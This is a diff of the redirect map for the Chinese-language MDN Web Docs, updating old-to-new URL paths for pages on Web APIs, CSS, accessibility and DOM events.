/zh-CN/docs/Web/API/Document/writeln /zh-CN/docs/Web/API/element.outerHTML /zh-CN/docs/Web/API/Element/outerHTML +/zh-CN/docs/Web/API/event.altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey /zh-CN/docs/Web/API/event.bubbles /zh-CN/docs/Web/API/Event/bubbles +/zh-CN/docs/Web/API/event.button /zh-CN/docs/conflicting/Web/API/MouseEvent/button /zh-CN/docs/Web/API/event.cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble /zh-CN/docs/Web/API/event.cancelable /zh-CN/docs/Web/API/Event/cancelable /zh-CN/docs/Web/API/event.currentTarget /zh-CN/docs/Web/API/Event/currentTarget @@ -1629,24 +1925,36 @@ /zh-CN/docs/Web/API/event.isTrusted /zh-CN/docs/Web/API/Event/isTrusted /zh-CN/docs/Web/API/event.pageY /zh-CN/docs/Web/API/UIEvent/pageY /zh-CN/docs/Web/API/event.preventDefault /zh-CN/docs/Web/API/Event/preventDefault +/zh-CN/docs/Web/API/event.relatedTarget /zh-CN/docs/conflicting/Web/API/MouseEvent/relatedTarget +/zh-CN/docs/Web/API/event.shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey /zh-CN/docs/Web/API/event.stopImmediatePropagation /zh-CN/docs/Web/API/Event/stopImmediatePropagation /zh-CN/docs/Web/API/event.stopPropagation /zh-CN/docs/Web/API/Event/stopPropagation /zh-CN/docs/Web/API/event.timeStamp /zh-CN/docs/Web/API/Event/timeStamp /zh-CN/docs/Web/API/event.type /zh-CN/docs/Web/API/Event/type /zh-CN/docs/Web/API/navigator.doNotTrack /zh-CN/docs/Web/API/Navigator/doNotTrack /zh-CN/docs/Web/API/navigator.id.watch /zh-CN/docs/Web/API/IdentityManager/watch +/zh-CN/docs/Web/API/notification/Using_Web_Notifications /zh-CN/docs/Web/API/Notifications_API/Using_the_Notifications_API +/zh-CN/docs/Web/API/notification/sound /zh-CN/docs/orphaned/Web/API/notification/sound /zh-CN/docs/Web/API/range.getBoundingClientRect /zh-CN/docs/Web/API/Range/getBoundingClientRect /zh-CN/docs/Web/API/range.startOffset /zh-CN/docs/Web/API/Range/startOffset /zh-CN/docs/Web/API/range.surroundContents /zh-CN/docs/Web/API/Range/surroundContents -/zh-CN/docs/Web/API/window.onscroll /zh-CN/docs/Web/API/Window/onscroll +/zh-CN/docs/Web/API/window.onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/Web/API/window.requestAnimationFrame /zh-CN/docs/Web/API/Window/requestAnimationFrame /zh-CN/docs/Web/API/剪贴板_API /zh-CN/docs/Web/API/Clipboard_API /zh-CN/docs/Web/API/开发式平台 /zh-CN/docs/Web/API/Push_API +/zh-CN/docs/Web/API/指数 /zh-CN/docs/Web/API/Index +/zh-CN/docs/Web/API/支付_请求_接口 /zh-CN/docs/Web/API/Payment_Request_API +/zh-CN/docs/Web/API/支付_请求_接口/Concepts /zh-CN/docs/Web/API/Payment_Request_API/Concepts /zh-CN/docs/Web/API/消息事件 /zh-CN/docs/Web/API/MessageEvent /zh-CN/docs/Web/API/网络_状况_接口 /zh-CN/docs/Web/API/Network_Information_API /zh-CN/docs/Web/API/自定义元素注册表 /zh-CN/docs/Web/API/CustomElementRegistry /zh-CN/docs/Web/API/自定义元素注册表/define /zh-CN/docs/Web/API/CustomElementRegistry/define +/zh-CN/docs/Web/API/语音识别 /zh-CN/docs/Web/API/SpeechRecognition +/zh-CN/docs/Web/API/语音识别/result_event /zh-CN/docs/Web/API/SpeechRecognition/result_event /zh-CN/docs/Web/API/鼠标事件 /zh-CN/docs/Web/API/MouseEvent +/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role /zh-CN/docs/Web/Accessibility/ARIA/Roles/button_role +/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 /zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +/zh-CN/docs/Web/Accessibility/Web_Development /zh-CN/docs/conflicting/Web/Accessibility /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery /zh-CN/docs/Web/Guide/Audio_and_video_delivery /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/WebAudio_playbackRate_explained /zh-CN/docs/Web/Guide/Audio_and_video_delivery/WebAudio_playbackRate_explained /zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/buffering_seeking_time_ranges /zh-CN/docs/Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges @@ -1654,39 +1962,71 @@ /zh-CN/docs/Web/Apps/Progressive /zh-CN/docs/Web/Progressive_web_apps /zh-CN/docs/Web/Apps/Progressive/App_structure /zh-CN/docs/Web/Progressive_web_apps/App_structure /zh-CN/docs/Web/Apps/Progressive/Introduction /zh-CN/docs/Web/Progressive_web_apps/Introduction -/zh-CN/docs/Web/Apps/Progressive/Network_independent /zh-CN/docs/Web/Progressive_web_apps/Network_independent -/zh-CN/docs/Web/Apps/Progressive/Re-engageable /zh-CN/docs/Web/Progressive_web_apps/Re-engageable -/zh-CN/docs/Web/Apps/Progressive/Responsive /zh-CN/docs/Web/Progressive_web_apps/Responsive +/zh-CN/docs/Web/Apps/Progressive/Network_independent /zh-CN/docs/conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f +/zh-CN/docs/Web/Apps/Progressive/Re-engageable /zh-CN/docs/conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 +/zh-CN/docs/Web/Apps/Progressive/Responsive /zh-CN/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks /zh-CN/docs/Web/CSS/边框分割 /zh-CN/docs/Web/CSS/border-collapse /zh-CN/docs/Web/CSS/-moz-appearance /zh-CN/docs/Web/CSS/appearance -/zh-CN/docs/Web/CSS/:blank /zh-CN/docs/Web/CSS/:-moz-only-whitespace +/zh-CN/docs/Web/CSS/:-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/:placeholder-shown +/zh-CN/docs/Web/CSS/::-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/::placeholder +/zh-CN/docs/Web/CSS/:any /zh-CN/docs/conflicting/Web/CSS/:is +/zh-CN/docs/Web/CSS/:blank空白伪类 /zh-CN/docs/Web/CSS/:blank /zh-CN/docs/Web/CSS/:matches /zh-CN/docs/Web/CSS/:is +/zh-CN/docs/Web/CSS/@viewport/height /zh-CN/docs/conflicting/Web/CSS/@viewport +/zh-CN/docs/Web/CSS/@viewport/orientation /zh-CN/docs/conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a +/zh-CN/docs/Web/CSS/@viewport/viewport-fit /zh-CN/docs/conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f +/zh-CN/docs/Web/CSS/@viewport/width /zh-CN/docs/conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848 +/zh-CN/docs/Web/CSS/@viewport/zoom /zh-CN/docs/conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518 /zh-CN/docs/Web/CSS/Adjacent_sibling_selectors /zh-CN/docs/Web/CSS/Adjacent_sibling_combinator +/zh-CN/docs/Web/CSS/All_About_The_Containing_Block /zh-CN/docs/Web/CSS/Containing_block /zh-CN/docs/Web/CSS/Block_formatting_context /zh-CN/docs/Web/Guide/CSS/Block_formatting_context /zh-CN/docs/Web/CSS/CSS3中的关键帧 /zh-CN/docs/Web/CSS/@keyframes -/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性框的高级布局 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins +/zh-CN/docs/Web/CSS/CSSOM_View/坐标系 /zh-CN/docs/Web/CSS/CSSOM_View/Coordinate_systems +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +/zh-CN/docs/Web/CSS/CSS_Background_and_Borders/圆角边框发生器 /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Border-radius_generator +/zh-CN/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images /zh-CN/docs/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +/zh-CN/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +/zh-CN/docs/Web/CSS/CSS_Colors /zh-CN/docs/conflicting/Web/CSS/CSS_Color +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性框的高级布局 /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +/zh-CN/docs/Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 /zh-CN/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +/zh-CN/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes /zh-CN/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes +/zh-CN/docs/Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 /zh-CN/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +/zh-CN/docs/Web/CSS/CSS_Logical_Properties/Basic_conceptsjie /zh-CN/docs/Web/CSS/CSS_Logical_Properties/Basic_concepts +/zh-CN/docs/Web/CSS/CSS_Logical_Properties/浮动和定位 /zh-CN/docs/Web/CSS/CSS_Logical_Properties/Floating_and_positioning +/zh-CN/docs/Web/CSS/CSS_Selectors/Comparison_with_XPath /zh-CN/docs/Web/XPath/Comparison_with_CSS_selectors /zh-CN/docs/Web/CSS/CSS_reference /zh-CN/docs/Web/CSS/Reference /zh-CN/docs/Web/CSS/CSS_values_syntax /zh-CN/docs/Web/CSS +/zh-CN/docs/Web/CSS/CSS_分片 /zh-CN/docs/Web/CSS/CSS_Fragmentation /zh-CN/docs/Web/CSS/Child_selectors /zh-CN/docs/Web/CSS/Child_combinator +/zh-CN/docs/Web/CSS/Common_CSS_Questions /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/Web/CSS/Descendant_selectors /zh-CN/docs/Web/CSS/Descendant_combinator /zh-CN/docs/Web/CSS/General_sibling_selectors /zh-CN/docs/Web/CSS/General_sibling_combinator +/zh-CN/docs/Web/CSS/Layout_cookbook/卡片 /zh-CN/docs/Web/CSS/Layout_cookbook/Card +/zh-CN/docs/Web/CSS/Layout_cookbook/媒体对象 /zh-CN/docs/Web/CSS/Layout_cookbook/Media_objects /zh-CN/docs/Web/CSS/Reference/Webkit_Extensions /zh-CN/docs/Web/CSS/WebKit_Extensions /zh-CN/docs/Web/CSS/Reference/background-blend-mode /zh-CN/docs/Web/CSS/background-blend-mode /zh-CN/docs/Web/CSS/Reference/mix-blend-mode /zh-CN/docs/Web/CSS/mix-blend-mode /zh-CN/docs/Web/CSS/Tutorials/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms -/zh-CN/docs/Web/CSS/Understanding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index -/zh-CN/docs/Web/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index -/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float -/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -/zh-CN/docs/Web/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context +/zh-CN/docs/Web/CSS/Understanding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/Web/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/Web/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/Web/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/CSS/Using_CSS_variables /zh-CN/docs/Web/CSS/Using_CSS_custom_properties -/zh-CN/docs/Web/CSS/Visual_formatting_model /zh-CN/docs/Web/Guide/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/attr /zh-CN/docs/Web/CSS/attr() /zh-CN/docs/Web/CSS/box_model /zh-CN/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model /zh-CN/docs/Web/CSS/calc /zh-CN/docs/Web/CSS/calc() /zh-CN/docs/Web/CSS/clamp /zh-CN/docs/Web/CSS/clamp() /zh-CN/docs/Web/CSS/counter /zh-CN/docs/Web/CSS/counter() /zh-CN/docs/Web/CSS/counters /zh-CN/docs/Web/CSS/counters() +/zh-CN/docs/Web/CSS/cursor/url /zh-CN/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property /zh-CN/docs/Web/CSS/element /zh-CN/docs/Web/CSS/element() /zh-CN/docs/Web/CSS/env /zh-CN/docs/Web/CSS/env() /zh-CN/docs/Web/CSS/filter-function/blur /zh-CN/docs/Web/CSS/filter-function/blur() @@ -1705,6 +2045,7 @@ /zh-CN/docs/Web/CSS/repeat /zh-CN/docs/Web/CSS/repeat() /zh-CN/docs/Web/CSS/repeating-linear-gradient /zh-CN/docs/Web/CSS/repeating-linear-gradient() /zh-CN/docs/Web/CSS/repeating-radial-gradient /zh-CN/docs/Web/CSS/repeating-radial-gradient() +/zh-CN/docs/Web/CSS/timing-function /zh-CN/docs/conflicting/Web/CSS/easing-function /zh-CN/docs/Web/CSS/transform-function/matrix /zh-CN/docs/Web/CSS/transform-function/matrix() /zh-CN/docs/Web/CSS/transform-function/matrix3d /zh-CN/docs/Web/CSS/transform-function/matrix3d() /zh-CN/docs/Web/CSS/transform-function/perspective /zh-CN/docs/Web/CSS/transform-function/perspective() @@ -1722,35 +2063,57 @@ /zh-CN/docs/Web/CSS/transform-function/translate /zh-CN/docs/Web/CSS/transform-function/translate() /zh-CN/docs/Web/CSS/transform-function/translate3d /zh-CN/docs/Web/CSS/transform-function/translate3d() /zh-CN/docs/Web/CSS/transform-function/translateY /zh-CN/docs/Web/CSS/transform-function/translateY() +/zh-CN/docs/Web/CSS/url /zh-CN/docs/Web/CSS/url() /zh-CN/docs/Web/CSS/var /zh-CN/docs/Web/CSS/var() +/zh-CN/docs/Web/CSS/word-wrap /zh-CN/docs/Web/CSS/overflow-wrap +/zh-CN/docs/Web/CSS/偏移 /zh-CN/docs/Web/CSS/offset /zh-CN/docs/Web/CSS/动画 /zh-CN/docs/Web/CSS/animation /zh-CN/docs/Web/CSS/右上角边框半径 /zh-CN/docs/Web/CSS/border-top-right-radius +/zh-CN/docs/Web/CSS/媒体查询 /zh-CN/docs/Web/CSS/Media_Queries /zh-CN/docs/Web/CSS/实际值 /zh-CN/docs/Web/CSS/actual_value -/zh-CN/docs/Web/CSS/开始 /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/Web/CSS/开始/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/Web/CSS/开始/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/Web/CSS/开始/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/Web/CSS/开始/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/Web/CSS/开始/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/Web/CSS/开始/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/Web/CSS/开始/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/Web/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS -/zh-CN/docs/Web/CSS/开始/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/Web/CSS/开始/Tables /zh-CN/docs/Web/Guide/CSS/Getting_started/Tables -/zh-CN/docs/Web/CSS/开始/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/Web/CSS/开始/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/Web/CSS/开始/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/Web/CSS/开始/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/Web/CSS/开始/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout +/zh-CN/docs/Web/CSS/开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Web/CSS/开始/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/Web/CSS/开始/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/Web/CSS/开始/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/Web/CSS/开始/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/Web/CSS/开始/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Web/CSS/开始/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Web/CSS/开始/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/Web/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/Web/CSS/开始/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/Web/CSS/开始/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/Web/CSS/开始/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/Web/CSS/开始/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/Web/CSS/开始/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/Web/CSS/开始/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/CSS/开始/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout /zh-CN/docs/Web/CSS/整型 /zh-CN/docs/Web/CSS/integer /zh-CN/docs/Web/CSS/文本修饰 /zh-CN/docs/Web/CSS/text-decoration +/zh-CN/docs/Web/CSS/文本装饰线厚度(粗细) /zh-CN/docs/Web/CSS/text-decoration-thickness /zh-CN/docs/Web/CSS/混合模式 /zh-CN/docs/Web/CSS/blend-mode -/zh-CN/docs/Web/Events/Activate /zh-CN/docs/Web/API/Element/Activate_event -/zh-CN/docs/Web/Events/DOMContentLoaded_(event) /zh-CN/docs/Web/Events/DOMContentLoaded +/zh-CN/docs/Web/CSS/网格-模板-列 /zh-CN/docs/Web/CSS/grid-template-rows +/zh-CN/docs/Web/Events/Activate /zh-CN/docs/Web/API/Element/DOMActivate_event +/zh-CN/docs/Web/Events/DOMContentLoaded /zh-CN/docs/Web/API/Window/DOMContentLoaded_event +/zh-CN/docs/Web/Events/DOMContentLoaded_(event) /zh-CN/docs/Web/API/Window/DOMContentLoaded_event /zh-CN/docs/Web/Events/DOMMouseScroll /zh-CN/docs/Web/API/Element/DOMMouseScroll_event +/zh-CN/docs/Web/Events/abort /zh-CN/docs/conflicting/Web/API/HTMLMediaElement/abort_event +/zh-CN/docs/Web/Events/afterprint /zh-CN/docs/Web/API/Window/afterprint_event +/zh-CN/docs/Web/Events/afterscriptexecute /zh-CN/docs/Web/API/Element/afterscriptexecute_event +/zh-CN/docs/Web/Events/animationend /zh-CN/docs/Web/API/HTMLElement/animationend_event +/zh-CN/docs/Web/Events/animationstart /zh-CN/docs/Web/API/HTMLElement/animationstart_event +/zh-CN/docs/Web/Events/beforeprint /zh-CN/docs/Web/API/Window/beforeprint_event +/zh-CN/docs/Web/Events/beforescriptexecute /zh-CN/docs/Web/API/Element/beforescriptexecute_event +/zh-CN/docs/Web/Events/beforeunload /zh-CN/docs/Web/API/Window/beforeunload_event +/zh-CN/docs/Web/Events/blur /zh-CN/docs/Web/API/Element/blur_event /zh-CN/docs/Web/Events/canplay /zh-CN/docs/Web/API/HTMLMediaElement/canplay_event /zh-CN/docs/Web/Events/canplaythrough /zh-CN/docs/Web/API/HTMLMediaElement/canplaythrough_event +/zh-CN/docs/Web/Events/change /zh-CN/docs/Web/API/HTMLElement/change_event /zh-CN/docs/Web/Events/click /zh-CN/docs/Web/API/Element/click_event +/zh-CN/docs/Web/Events/compositionend /zh-CN/docs/Web/API/Element/compositionend_event +/zh-CN/docs/Web/Events/compositionstart /zh-CN/docs/Web/API/Element/compositionstart_event +/zh-CN/docs/Web/Events/compositionupdate /zh-CN/docs/Web/API/Element/compositionupdate_event +/zh-CN/docs/Web/Events/copy /zh-CN/docs/Web/API/Element/copy_event +/zh-CN/docs/Web/Events/cut /zh-CN/docs/Web/API/Element/cut_event /zh-CN/docs/Web/Events/dblclick /zh-CN/docs/Web/API/Element/dblclick_event /zh-CN/docs/Web/Events/devicechange /zh-CN/docs/Web/API/MediaDevices/devicechange_event /zh-CN/docs/Web/Events/deviceorientation /zh-CN/docs/Web/API/Window/deviceorientation_event @@ -1762,25 +2125,38 @@ /zh-CN/docs/Web/Events/dragstart /zh-CN/docs/Web/API/Document/dragstart_event /zh-CN/docs/Web/Events/drop /zh-CN/docs/Web/API/Document/drop_event /zh-CN/docs/Web/Events/ended /zh-CN/docs/Web/API/HTMLMediaElement/ended_event +/zh-CN/docs/Web/Events/error /zh-CN/docs/Web/API/Element/error_event +/zh-CN/docs/Web/Events/focus /zh-CN/docs/Web/API/Element/focus_event +/zh-CN/docs/Web/Events/focusout /zh-CN/docs/Web/API/Element/focusout_event /zh-CN/docs/Web/Events/fullscreenchange /zh-CN/docs/Web/API/Document/fullscreenchange_event /zh-CN/docs/Web/Events/gamepadconnected /zh-CN/docs/Web/API/Window/gamepadconnected_event /zh-CN/docs/Web/Events/hashchange /zh-CN/docs/Web/API/Window/hashchange_event +/zh-CN/docs/Web/Events/icecandidate /zh-CN/docs/Web/API/RTCPeerConnection/icecandidate_event +/zh-CN/docs/Web/Events/input /zh-CN/docs/Web/API/HTMLElement/input_event /zh-CN/docs/Web/Events/keypress /zh-CN/docs/Web/API/Document/keypress_event /zh-CN/docs/Web/Events/languagechange /zh-CN/docs/Web/API/Window/languagechange_event +/zh-CN/docs/Web/Events/load /zh-CN/docs/Web/API/Window/load_event /zh-CN/docs/Web/Events/loadeddata /zh-CN/docs/Web/API/HTMLMediaElement/loadeddata_event +/zh-CN/docs/Web/Events/loadend /zh-CN/docs/Web/API/XMLHttpRequest/loadend_event +/zh-CN/docs/Web/Events/loadstart /zh-CN/docs/Web/API/XMLHttpRequest/loadstart_event +/zh-CN/docs/Web/Events/message /zh-CN/docs/Web/API/BroadcastChannel/message_event /zh-CN/docs/Web/Events/mousedown /zh-CN/docs/Web/API/Element/mousedown_event /zh-CN/docs/Web/Events/mouseenter /zh-CN/docs/Web/API/Element/mouseenter_event /zh-CN/docs/Web/Events/mouseleave /zh-CN/docs/Web/API/Element/mouseleave_event /zh-CN/docs/Web/Events/mousemove /zh-CN/docs/Web/API/Element/mousemove_event /zh-CN/docs/Web/Events/mouseout /zh-CN/docs/Web/API/Element/mouseout_event /zh-CN/docs/Web/Events/mouseup /zh-CN/docs/Web/API/Element/mouseup_event +/zh-CN/docs/Web/Events/mousewheel /zh-CN/docs/Web/API/Element/mousewheel_event /zh-CN/docs/Web/Events/offline /zh-CN/docs/Web/API/Window/offline_event /zh-CN/docs/Web/Events/online /zh-CN/docs/Web/API/Window/online_event /zh-CN/docs/Web/Events/orientationchange /zh-CN/docs/Web/API/Window/orientationchange_event +/zh-CN/docs/Web/Events/pageshow /zh-CN/docs/Web/API/Window/pageshow_event +/zh-CN/docs/Web/Events/paste /zh-CN/docs/Web/API/Element/paste_event /zh-CN/docs/Web/Events/play /zh-CN/docs/Web/API/HTMLMediaElement/play_event /zh-CN/docs/Web/Events/playing /zh-CN/docs/Web/API/HTMLMediaElement/playing_event /zh-CN/docs/Web/Events/popstate /zh-CN/docs/Web/API/Window/popstate_event /zh-CN/docs/Web/Events/readystatechange /en-US/docs/Web/API/Document/readystatechange_event +/zh-CN/docs/Web/Events/readystatechange事件 /zh-CN/docs/Web/API/Document/readystatechange_event /zh-CN/docs/Web/Events/reset /zh-CN/docs/Web/API/HTMLFormElement/reset_event /zh-CN/docs/Web/Events/resize /zh-CN/docs/Web/API/Window/resize_event /zh-CN/docs/Web/Events/scroll /zh-CN/docs/Web/API/Document/scroll_event @@ -1794,26 +2170,69 @@ /zh-CN/docs/Web/Events/toggle /zh-CN/docs/Web/API/HTMLDetailsElement/toggle_event /zh-CN/docs/Web/Events/touchcancel /zh-CN/docs/Web/API/Element/touchcancel_event /zh-CN/docs/Web/Events/touchend /zh-CN/docs/Web/API/Document/touchend_event -/zh-CN/docs/Web/Events/touchmove /zh-CN/docs/Web/API/Document/rouchmove_event +/zh-CN/docs/Web/Events/touchmove /zh-CN/docs/Web/API/Document/touchmove_event /zh-CN/docs/Web/Events/touchstart /zh-CN/docs/Web/API/Element/touchstart_event +/zh-CN/docs/Web/Events/transitionend /zh-CN/docs/Web/API/HTMLElement/transitionend_event +/zh-CN/docs/Web/Events/unhandledrejection /zh-CN/docs/Web/API/Window/unhandledrejection_event +/zh-CN/docs/Web/Events/unload /zh-CN/docs/Web/API/Window/unload_event /zh-CN/docs/Web/Events/visibilitychange /zh-CN/docs/Web/API/Document/visibilitychange_event /zh-CN/docs/Web/Events/wheel /zh-CN/docs/Web/API/Element/wheel_event /zh-CN/docs/Web/Events/提交 /zh-CN/docs/Web/API/HTMLFormElement/submit_event /zh-CN/docs/Web/Events/滚轮事件 /zh-CN/docs/Web/API/Element/wheel_event -/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/Web/Events/进度条 /zh-CN/docs/Web/API/XMLHttpRequest/progress_event +/zh-CN/docs/Web/Guide/API/DOM /zh-CN/docs/conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef +/zh-CN/docs/Web/Guide/API/DOM/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API +/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API +/zh-CN/docs/Web/Guide/API/DOM/The_structured_clone_algorithm /zh-CN/docs/Web/API/Web_Workers_API/Structured_clone_algorithm /zh-CN/docs/Web/Guide/API/DOM/Whitespace_in_the_DOM /zh-CN/docs/Web/API/Document_Object_Model/Whitespace /zh-CN/docs/Web/Guide/CSS /zh-CN/docs/Learn/CSS -/zh-CN/docs/Web/Guide/CSS/Flexible_boxes /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +/zh-CN/docs/Web/Guide/CSS/CSS_Image_Sprites /zh-CN/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +/zh-CN/docs/Web/Guide/CSS/CSS基础 /zh-CN/docs/orphaned/Web/Guide/CSS/CSS基础 